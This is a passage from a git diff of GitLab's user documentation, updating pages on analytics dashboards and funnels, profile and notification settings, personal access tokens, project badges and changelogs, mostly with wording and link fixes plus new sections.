for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `product_analytics_internal_preview`. +On GitLab.com, this feature is not available. +This feature is not ready for production use. + Each project can define an unlimited number of dashboards. These dashboards are defined using our YAML schema and stored in the `.gitlab/product_analytics/dashboards/` directory of a project repository. The name of the file is the name of the dashboard, and visualizations are shared across dashboards. Project maintainers can enforce approval rules on dashboard changes using features such as code owners and approval rules. Dashboards are versioned in source control with the rest of a project's code. +### View project dashboards + +> Introduced in GitLab 15.9 behind the [feature flag](../../administration/feature_flags.md) named `combined_analytics_dashboards`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `combined_analytics_dashboards`. +On GitLab.com, this feature is not available. +This feature is not ready for production use. + +To view a list of product analytics dashboards for a project: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Analytics > Dashboards**. + ### Define a dashboard To define a dashboard: @@ -72,3 +131,77 @@ The example below includes three dashboards and one visualization that applies t ├── visualizations │ └── example_line_chart.yaml ``` + +## Funnel analysis + +Funnel analysis can be used to understand the flow of users through your application and where +users drop out of a predefined flow (for example, a checkout process or ticket purchase). + +Each product can also define an unlimited number of funnels. +These funnels are defined using our YAML schema and stored in the `.gitlab/product_analytics/funnels/` directory of a project repository. + +Funnel definitions must include the keys `name`, `seconds_to_convert`, and an array of `steps`. + +| Key | Description | +|----------------------|----------------------------------------------------------| +| `name` | The name of the funnel. | +| `seconds_to_convert` | The number of seconds a user has to complete the funnel. | +| `steps` | An array of funnel steps. | + +Each step must include the keys `name`, `target`, and `action`. + +| Key | Description | +|----------|------------------------------------------------------------------------------------------| +| `name` | The name of the step. This should be a unique slug. | +| `action` | The action performed. (Only `pageview` is supported.) | +| `target` | The target of the step. (Because only `pageview` is supported, this should be a path.) | + +### Example funnel definition + +```yaml +name: completed_purchase +seconds_to_convert: 3600 +steps: + - name: view_page_1 + target: '/page1.html' + action: 'pageview' + - name: view_page_2 + target: '/page2.html' + action: 'pageview' + - name: view_page_3 + target: '/page3.html' + action: 'pageview' +``` + +### Query a funnel + +You can [query the funnel data with the REST API](../../api/product_analytics.md#send-query-request-to-cube). +To do this, you can use the example query body below, where you need to replace `FUNNEL_NAME` with your funnel's name. + +NOTE: +The `afterDate` filter is not supported. Please use `beforeDate` or `inDateRange`. + +```json +{ + "query": { + "measures": [ + "FUNNEL_NAME.count" + ], + "order": { + "completed_purchase.count": "desc" + }, + "filters": [ + { + "member": "FUNNEL_NAME.date", + "operator": "beforeDate", + "values": [ + "2023-02-01" + ] + } + ], + "dimensions": [ + "FUNNEL_NAME.step" + ] + } +} +``` diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md index 18b4e53fb31..a74fd8d5215 100644 --- a/doc/user/profile/account/delete_account.md +++ b/doc/user/profile/account/delete_account.md @@ -19,7 +19,7 @@ Deleting a user deletes all projects in that user namespace. As a user, to delete your own account: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. Select **Delete account**. @@ -56,7 +56,6 @@ When deleting users, you can either: - Issues. - Merge requests. - Notes and comments. - - Releases. - Personal access tokens. - Snippets. diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index 5f23f50f439..b76b99b5242 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -21,7 +21,7 @@ If you set up a device, also set up a TOTP so you can still access your account ## Use personal access tokens with two-factor authentication -When 2FA is enabled, you can't use your password to authenticate with Git over HTTPS or the [GitLab API](../../../api/index.md). +When 2FA is enabled, you can't use your password to authenticate with Git over HTTPS or the [GitLab API](../../../api/rest/index.md). You can use a [personal access token](../personal_access_tokens.md) instead. ## Git Credential Manager @@ -297,7 +297,7 @@ If you regenerate 2FA recovery codes, save them. You can't use any previously cr ## Sign in with two-factor authentication enabled -Signing in with 2FA enabled is only slightly different than the normal sign-in process. Enter your username and password +Signing in with 2FA enabled is only slightly different than the typical sign-in process. Enter your username and password and you're presented with a second prompt, depending on which type of 2FA you've enabled. ### Sign in using a one-time password diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md index 7a837258cb2..1f7264d740e 100644 --- a/doc/user/profile/active_sessions.md +++ b/doc/user/profile/active_sessions.md @@ -16,7 +16,7 @@ review the sessions, and revoke any you don't recognize. To list all active sessions: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Active Sessions**. @@ -33,7 +33,7 @@ exceeds 100, the oldest ones are deleted. To revoke an active session: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Active Sessions**. 1. Select **Revoke** next to a session. The current session cannot be revoked, as this would sign you out of GitLab. diff --git a/doc/user/profile/contributions_calendar.md b/doc/user/profile/contributions_calendar.md index 49e6319aa12..e9802cccef6 100644 --- a/doc/user/profile/contributions_calendar.md +++ b/doc/user/profile/contributions_calendar.md @@ -40,7 +40,7 @@ GitLab tracks the following contribution events: To view your daily contributions: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select your name from the dropdown list. 1. In the contributions calendar: - To view the number of contributions for a specific day, hover over a tile. @@ -53,7 +53,7 @@ The contributions calendar graph and recent activity list displays your To view private contributions: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Main settings** section, select the **Include private contributions on my profile** checkbox. 1. Select **Update profile settings**. @@ -83,7 +83,7 @@ GitLab provides RSS feeds of user activity. To subscribe to the RSS feed of a user's activity: 1. Go to the [user's profile](index.md#access-your-user-profile). -1. In the top right, select the feed symbol **{rss}** to display the results as an RSS feed in Atom format. +1. In the upper right, select the feed symbol **{rss}** to display the results as an RSS feed in Atom format. The URL of the result contains both a feed token, and the user's activity that you're authorized to view. @@ -96,7 +96,7 @@ If you think your feed token has been exposed, you should reset it. To reset your feed token: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Access Tokens**. 1. Scroll down. In the **Feed token** section, select the diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index f178a3254f3..a84d16e6d0c 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -15,14 +15,14 @@ Your profile also includes settings, which you use to customize your GitLab expe To access your profile: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select your name or username. ## Access your user settings To access your user settings: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. ## Change your username @@ -40,7 +40,7 @@ Prerequisites: To change your username: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. In the **Change username** section, enter a new username as the path. @@ -50,7 +50,7 @@ To change your username: To add new email to your account: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Emails**. 1. In the **Email** text box, enter the new email. @@ -63,7 +63,7 @@ You can make your user profile visible to only you and GitLab administrators. To make your profile private: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. Select the **Private profile** checkbox. 1. Select **Update profile settings**. @@ -129,11 +129,12 @@ They can help other users connect with you on other platforms. To add links to other accounts: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Main settings** section, add your information from: - - Skype + - Discord ([User ID](https://support.discord.com/hc/en-us/articles/206346498-Where-can-I-find-my-User-Server-Message-ID-)) - LinkedIn + - Skype - Twitter 1. Select **Update profile settings**. @@ -143,7 +144,7 @@ In the user contribution calendar graph and recent activity list, you can see yo To show private contributions: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Main settings** section, select the **Include private contributions on my profile** checkbox. 1. Select **Update profile settings**. @@ -157,7 +158,7 @@ your name in your profile. To specify your pronouns: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Pronouns** text box, enter your pronouns. 1. Select **Update profile settings**. @@ -171,7 +172,7 @@ your name. To add your name pronunciation: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Pronunciation** text box, enter how your name is pronounced. 1. Select **Update profile settings**. @@ -187,7 +188,7 @@ Your status is publicly visible even if your [profile is private](#make-your-use To set your current status: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Set status** or, if you have already set a status, **Edit status**. 1. Set the desired emoji and status message. Status messages must be plain text and 100 characters or less. They can also contain emoji codes like, `I'm on vacation :palm_tree:`. @@ -210,12 +211,12 @@ To indicate to others that you are busy, you can set an indicator. To set the busy status indicator, either: - Set it directly: - 1. On the top bar, in the top-right corner, select your avatar. + 1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Set status** or, if you have already set a status, **Edit status**. 1. Select the **Set yourself as busy** checkbox. - Set it on your profile: - 1. On the top bar, in the top-right corner, select your avatar. + 1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Current status** section, select the **Set yourself as busy** checkbox. @@ -249,7 +250,7 @@ You can set your local time zone to: To set your time zone: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Time settings** section, select your time zone from the dropdown list. @@ -262,30 +263,28 @@ Your primary email is used by default. To change your commit email: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Commit email** dropdown list, select an email address. 1. Select **Update profile settings**. ## Change your primary email -Your primary email: - -- Is the default email address for your login, commit email, and notification email. -- Must be already [linked to your user profile](#add-emails-to-your-user-profile). +Your primary email is the default email address for your login, commit email, and notification email. To change your primary email: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Email** field, enter your new email address. 1. Select **Update profile settings**. +1. Optional. Select the confirmation email if you have not previously added this email to your GitLab.com account. ## Set your public email You can select one of your [configured email addresses](#add-emails-to-your-user-profile) to be displayed on your public profile: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Public email** field, select one of the available email addresses. 1. Select **Update profile settings**. @@ -297,7 +296,7 @@ so you can keep your email information private. To use a private commit email: -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. In the **Commit email** dropdown list, select **Use a private email**. 1. Select **Update profile settings**. @@ -368,7 +367,7 @@ The `remember_user_token` lifetime of a cookie can now extend beyond the deadlin GitLab uses both session and persistent cookies: -- Session cookie: Session cookies are normally removed at the end of the browser session when +- Session cookie: Session cookies are typically removed at the end of the browser session when the browser is closed. The `_gitlab_session` cookie has no fixed expiration date. However, it expires based on its [`session_expire_delay`](#why-do-you-keep-getting-signed-out). - Persistent cookie: The `remember_user_token` is a cookie with an expiration date of two weeks. diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index 7343aea8ce7..dcc78dac05b 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -47,7 +47,7 @@ anyone else. To edit your notification settings: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Edit the desired global, group, or project notification settings. @@ -100,7 +100,7 @@ You can select a notification level and email address for each group. To select a notification level for a group, use either of these methods: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Locate the project in the **Groups** section. @@ -119,7 +119,7 @@ Or: You can select an email address to receive notifications for each group you belong to. You can use group notifications, for example, if you work freelance, and want to keep email about clients' projects separate. -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Locate the project in the **Groups** section. @@ -131,7 +131,7 @@ To help you stay up to date, you can select a notification level for each projec To select a notification level for a project, use either of these methods: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Locate the project in the **Projects** section. @@ -153,7 +153,7 @@ These emails are enabled by default. To opt out: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Clear the **Receive product marketing emails** checkbox. @@ -330,7 +330,7 @@ The participants are: If you no longer wish to receive any email notifications: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. On the left sidebar, select **Notifications**. 1. Clear the **Receive product marketing emails** checkbox. diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md index 90def3aa773..3826c602fb4 100644 --- a/doc/user/profile/personal_access_tokens.md +++ b/doc/user/profile/personal_access_tokens.md @@ -14,7 +14,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Personal access tokens can be an alternative to [OAuth2](../../api/oauth2.md) and used to: -- Authenticate with the [GitLab API](../../api/index.md#personalprojectgroup-access-tokens). +- Authenticate with the [GitLab API](../../api/rest/index.md#personalprojectgroup-access-tokens). - Authenticate with Git using HTTP Basic Authentication. In both cases, you authenticate with a personal access token in place of your password. @@ -40,9 +40,9 @@ Though required, GitLab usernames are ignored when authenticating with a persona There is an [issue for tracking](https://gitlab.com/gitlab-org/gitlab/-/issues/212953) to make GitLab use the username. -For examples of how you can use a personal access token to authenticate with the API, see the [API documentation](../../api/index.md#personalprojectgroup-access-tokens). +For examples of how you can use a personal access token to authenticate with the API, see the [API documentation](../../api/rest/index.md#personalprojectgroup-access-tokens). -Alternately, GitLab administrators can use the API to create [impersonation tokens](../../api/index.md#impersonation-tokens). +Alternately, GitLab administrators can use the API to create [impersonation tokens](../../api/rest/index.md#impersonation-tokens). Use impersonation tokens to automate authentication as a specific user. NOTE: @@ -54,7 +54,7 @@ Personal access tokens are not FIPS compliant and creation and use are disabled You can create as many personal access tokens as you like. -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Access Tokens**. 1. Enter a name and optional expiry date for the token. @@ -82,7 +82,7 @@ for guidance on managing personal access tokens (for example, setting a short ex At any time, you can revoke a personal access token. -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Access Tokens**. 1. In the **Active personal access tokens** area, next to the key, select **Revoke**. @@ -91,12 +91,12 @@ At any time, you can revoke a personal access token. Token usage information is updated every 24 hours. GitLab considers a token used when the token is used to: -- Authenticate with the [REST](../../api/index.md) or [GraphQL](../../api/graphql/index.md) APIs. +- Authenticate with the [REST](../../api/rest/index.md) or [GraphQL](../../api/graphql/index.md) APIs. - Perform a Git operation. To view the last time a token was used: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Access Tokens**. 1. In the **Active personal access tokens** area, next to the key, view the **Last Used** date. @@ -154,7 +154,7 @@ To create a personal access token programmatically: ```ruby user = User.find_by_username('automation-bot') - token = user.personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token') + token = user.personal_access_tokens.create(scopes: ['read_user', 'read_repository'], name: 'Automation token') token.set_token('token-string-here123') token.save! ``` @@ -163,7 +163,7 @@ This code can be shortened into a single-line shell command by using the [Rails runner](../../administration/operations/rails_console.md#using-the-rails-runner): ```shell -sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token'); token.set_token('token-string-here123'); token.save!" +sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: ['read_user', 'read_repository'], name: 'Automation token'); token.set_token('token-string-here123'); token.save!" ``` ## Revoke a personal access token programmatically **(FREE SELF)** @@ -198,6 +198,29 @@ This code can be shortened into a single-line shell command using the sudo gitlab-rails runner "PersonalAccessToken.find_by_token('token-string-here123').revoke!" ``` +## Clone repository using personal access token **(FREE SELF)** + +To clone a repository when SSH is disabled, clone it using a personal access token by running the following command: + +```shell +git clone https://<username>:<personal_token>@gitlab.com/gitlab-org/gitlab.git +``` + +This method saves your personal access token in your bash history. To avoid this, run the following command: + +```shell +git clone https://<username>@gitlab.com/gitlab-org/gitlab.git +``` + +When asked for your password for `https://gitlab.com`, enter your personal access token. + +The `username` in the `clone` command: + +- Can be any string value. +- Must not be an empty string. + +Remember this if you set up an automation pipeline that depends on authentication. + ## Troubleshooting ### Unrevoke a personal access token **(FREE SELF)** diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index 664d22959a2..7e581bb7419 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -12,7 +12,7 @@ of GitLab to their liking. To navigate to your profile's preferences: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. ## Navigation theme @@ -67,7 +67,7 @@ GitLab uses the [rouge Ruby library](http://rouge.jneen.net/ "Rouge website") for syntax highlighting outside of any Editor context. The WebIDE (like Snippets) uses [Monaco Editor](https://microsoft.github.io/monaco-editor/) and it's provided [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for -syntax highlighting. For a list of supported languages, visit the documentation of +syntax highlighting. For a list of supported languages, see the documentation of the respective libraries. Changing this setting allows you to customize the color theme when viewing any @@ -120,20 +120,8 @@ While `1280px` is the standard max width when using fixed layout, some pages sti For users who have access to a large number of projects but only keep up with a select few, the amount of activity on the your dashboard can be -overwhelming. Changing this setting allows you to redefine what is displayed by default. - -You can include the following options for your default dashboard view: - -- Your projects (default) -- Starred projects -- Your projects' activity -- Starred projects' activity -- Followed Users' Activity -- Your groups -- Your [To-Do List](../todos.md) -- Assigned Issues -- Assigned Merge Requests -- [Operations Dashboard](../operations_dashboard/index.md) +overwhelming. From the **Dashboard** dropdown list, select what you'd like displayed on your +personal dashboard. ### Group overview content diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md deleted file mode 100644 index 3bdcd36a34e..00000000000 --- a/doc/user/profile/unknown_sign_in_notification.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -redirect_to: 'notifications.md' -remove_date: '2023-01-15' ---- - -This document was moved to [another location](notifications.md). - -<!-- This redirect file can be deleted after <2023-01-15>. --> -<!-- Redirects that point to other docs in the same project expire in three months. --> -<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/user/profile/user_passwords.md b/doc/user/profile/user_passwords.md index 9c1ba8852d2..eac3db3c71c 100644 --- a/doc/user/profile/user_passwords.md +++ b/doc/user/profile/user_passwords.md @@ -26,7 +26,7 @@ authorization provider, you do not need to choose a password. GitLab You can change your password. GitLab enforces [password requirements](#password-requirements) when you choose your new password. -1. On the top bar, in the top-right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Password**. 1. In the **Current password** text box, enter your current password. diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md index dc650bd9482..0ea1a80bc54 100644 --- a/doc/user/project/badges.md +++ b/doc/user/project/badges.md @@ -1,39 +1,145 @@ --- -stage: Create -group: Source Code +stage: Manage +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- # Badges **(FREE)** -Badges are a unified way to present condensed pieces of information about your -projects. They consist of a small image and a URL that the image -points to. Examples for badges can be the [pipeline status](../../ci/pipelines/settings.md#pipeline-status-badge), -[test coverage](../../ci/pipelines/settings.md#test-coverage-report-badge), [latest release](../../ci/pipelines/settings.md#latest-release-badge), or ways to contact the -project maintainers. +Badges are a unified way to present condensed pieces of information about your projects. +A badge consists of a small image and a URL that the image points to. +In GitLab, badges are displayed below the project description. +You can use badges at the [project](#project-badges) and [group](#group-badges) level.  +## Available badges + +GitLab provides the following pipeline badges: + +- [Pipeline status badge](#pipeline-status-badges) +- [Test coverage report badge](#test-coverage-report-badges) +- [Latest release badge](#latest-release-badges) + +GitLab also supports [custom badges](#customize-badges). + +## Pipeline status badges + +The pipeline status badge indicates the status of the latest pipeline in a project. +Depending on the status of your pipeline, the badge can have one of the following values: + +- `pending` +- `running` +- `passed` +- `failed` +- `skipped` +- `manual` +- `canceled` +- `unknown` + +You can access a pipeline status badge image by using the following link: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg +``` + +### Display only non-skipped status + +To make the pipeline status badge display only the last non-skipped status, use the `?ignore_skipped=true` query parameter: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true +``` + +## Test coverage report badges + +The test coverage report badge indicates the percentage of code that is tested in a project. +The value is calculated based on the latest successful pipeline. + +You can access a test coverage report badge image by using the following link: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg +``` + +You can define the regular expression for the [coverage report](../../ci/pipelines/settings.md#merge-request-test-coverage-results) +that each job log is matched against. +This means that each job in the pipeline can have the test coverage percentage value defined. + +To get the coverage report from a specific job, add the `job=coverage_job_name` parameter to the URL. +For example, you can use code similar to the following to add the test coverage report badge of the +`coverage` job to a Markdown file: + +```markdown + +``` + +### Test coverage report badge colors and limits + +The default colors and limits for the badge are as follows: + +- 95 up to and including 100% - good (`#4c1`) +- 90 up to 95% - acceptable (`#a3c51c`) +- 75 up to 90% - medium (`#dfb317`) +- 0 up to 75% - low (`#e05d44`) +- no coverage - unknown (`#9f9f9f`) + +NOTE: +*Up to* means up to, but not including, the upper bound. + +You can overwrite the limits by using the following additional parameters ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28317) in GitLab 14.4): + +- `min_good` (default 95, can use any value between 3 and 100) +- `min_acceptable` (default 90, can use any value between 2 and min_good-1) +- `min_medium` (default 75, can use any value between 1 and min_acceptable-1) + +If an invalid boundary is set, GitLab automatically adjusts it to be valid. For example, +if `min_good` is set `80`, and `min_acceptable` is set to `85` (too high), GitLab automatically +sets `min_acceptable` to `79` (`min_good` - `1`). + +## Latest release badges + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33368) in GitLab 14.8. + +The latest release badge indicates the latest release tag name for your project. +If there is no release, it shows `none`. + +You can access a latest release badge image by using the following link: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/release.svg +``` + +By default, the badge fetches the release sorted using the [`released_at`](../../api/releases/index.md#create-a-release) +time with the `?order_by` query parameter. + +```plaintext +https://gitlab.example.com/<namespace>/<project>/-/badges/release.svg?order_by=release_at +``` + ## Project badges Badges can be added to a project by Maintainers or Owners, and are visible on the project's overview page. If you find that you have to add the same badges to several projects, you may want to add them at the [group level](#group-badges). +### Add a badge to a project + To add a new badge to a project: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > General**. 1. Expand **Badges**. -1. Under "Link", enter the URL that the badges should point to and under - "Badge image URL" the URL of the image that should be displayed. +1. Under **Link**, enter the URL that the badges should point to. +1. Under **Badge image URL**, enter the URL of the image that should be displayed. 1. Select **Add badge**. -After adding a badge to a project, you can see it in the list below the form. -You can edit the badge by selecting **Edit** (**{pencil}**) next to it or delete it by -selecting **Delete** (**{remove}**). +After adding a badge to a project, you can see the badge in the list below the form. -Badges associated with a group can only be edited or deleted on the -[group level](#group-badges). +### Edit or delete a project badge + +To edit a badge, select **Edit** (**{pencil}**). + +To delete a badge, select **Delete** (**{remove}**). ### Example project badge: Pipeline Status @@ -66,6 +172,8 @@ If you need individual badges for each project, either: - Add the badge at the [project level](#project-badges). - Use [placeholders](#placeholders). +### Add a badge to a group + To add a new badge to a group: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -76,33 +184,70 @@ To add a new badge to a group: 1. Select **Add badge**. After adding a badge to a group, you can see it in the list below the form. -You can edit the badge by selecting **Edit** (**{pencil}**) next to it or delete it by -selecting **Delete** (**{remove}**). -Badges directly associated with a project can be configured on the -[project level](#project-badges). +### Edit or delete a group badge -## Placeholders +To edit a badge, select **Edit** (**{pencil}**). -Both the URL a badge points to and the image URL can contain placeholders -which are evaluated when displaying the badge. The following placeholders -are available: +To delete a badge, select **Delete** (**{remove}**). -- `%{project_path}`: Path of a project including the parent groups -- `%{project_title}`: Title of a project -- `%{project_name}`: Name of a project -- `%{project_id}`: Database ID associated with a project -- `%{default_branch}`: Default branch name configured for a project's repository -- `%{commit_sha}`: ID of the most recent commit to the default branch of a - project's repository +Badges associated with a group can be edited or deleted only at the [group level](#group-badges). -NOTE: -Placeholders allow badges to expose otherwise-private information, such as the -default branch or commit SHA when the project is configured to have a private -repository. This is by design, as badges are intended to be used publicly. Avoid -using these placeholders if the information is sensitive. +## View the URL of pipeline badges + +You can view the exact link for your badges. +Then you can use the link to embed the badge in your HTML or Markdown pages. + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. In the **Pipeline status**, **Coverage report**, or **Latest release** sections, view the URLs for the images. + + + +## Customize badges + +You can customize the following aspects of a badge: + +- Style +- Text +- Width +- Image + +### Customize badge style + +Pipeline badges can be rendered in different styles by adding the `style=style_name` parameter to the URL. Two styles are available: + +- Flat (default): + + ```plaintext + https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat + ``` + +  + +- Flat square ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8): -## Use custom badge images + ```plaintext + https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square + ``` + +  + +### Customize badge text + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17555) in GitLab 13.1. + +The text for a badge can be customized to differentiate between multiple coverage jobs that run in the same pipeline. +Customize the badge text and width by adding the `key_text=custom_text` and `key_width=custom_key_width` parameters to the URL: + +```plaintext +https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130 +``` + + + +### Customize badge image Use custom badge images in a project or a group if you want to use badges other than the default ones. @@ -118,7 +263,7 @@ Using placeholders, here is an example badge image URL referring to a raw image https://gitlab.example.com/<project_path>/-/raw/<default_branch>/my-image.svg ``` -To add a new badge to a group or project with a custom image: +To add a new badge with a custom image to a group or project: 1. On the top bar, select **Main menu** and find your group or project. 1. On the left sidebar, select **Settings > General**. @@ -129,11 +274,31 @@ To add a new badge to a group or project with a custom image: displayed. 1. Select **Add badge**. -To learn how to use custom images generated via a pipeline, see our documentation on +To learn how to use custom images generated through a pipeline, see the documentation on [accessing the latest job artifacts by URL](../../ci/pipelines/job_artifacts.md#access-the-latest-job-artifacts). -## API +## Placeholders + +Both the URL a badge points to and the image URL can contain placeholders, +which are evaluated when displaying the badge. +The following placeholders are available: + +- `%{project_path}`: Path of a project including the parent groups +- `%{project_title}`: Title of a project +- `%{project_name}`: Name of a project +- `%{project_id}`: Database ID associated with a project +- `%{default_branch}`: Default branch name configured for a project's repository +- `%{commit_sha}`: ID of the most recent commit to the default branch of a + project's repository + +NOTE: +Placeholders allow badges to expose otherwise-private information, such as the +default branch or commit SHA when the project is configured to have a private +repository. This behavior is intentional, as badges are intended to be used publicly. Avoid +using these placeholders if the information is sensitive. + +## Configure badges through the API You can also configure badges via the GitLab API. As in the settings, there is -a distinction between endpoints for badges on the +a distinction between endpoints for badges at the [project level](../../api/project_badges.md) and [group level](../../api/group_badges.md). diff --git a/doc/user/project/changelogs.md b/doc/user/project/changelogs.md new file mode 100644 index 00000000000..a64edd053b1 --- /dev/null +++ b/doc/user/project/changelogs.md @@ -0,0 +1,317 @@ +--- +stage: Create +group: Source Code +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" +type: reference, api +--- + +# Changelogs + +Changelogs are generated based on commit titles and Git trailers. To be included +in a changelog, a commit must contain a specific Git trailer. Changelogs are generated +from commit titles, and categorized by Git trailer type. You can enrich changelog entries +with additional data, such as a link to the merge request or details about the +commit author. Changelog formats [can be customized](#customize-the-changelog-output) with a template. + +Each section in the default changelog has a title containing the version +number and release date, like this: + +````markdown +## 1.0.0 (2021-01-05) + +### Features (4 changes) + +- [Feature 1](gitlab-org/gitlab@123abc) by @alice ([merge request](gitlab-org/gitlab!123)) +- [Feature 2](gitlab-org/gitlab@456abc) ([merge request](gitlab-org/gitlab!456)) +- [Feature 3](gitlab-org/gitlab@234abc) by @steve +- [Feature 4](gitlab-org/gitlab@456) +```` + +The date format for sections can be customized, but the rest of the title cannot. +When adding new sections, GitLab parses these titles to determine where to place +the new information in the file. GitLab sorts sections according to their versions, +not their dates. + +Each section contains changes sorted by category (like **Features**), and the format +of these sections can be changed. The section names derive from the values of the +Git trailer used to include or 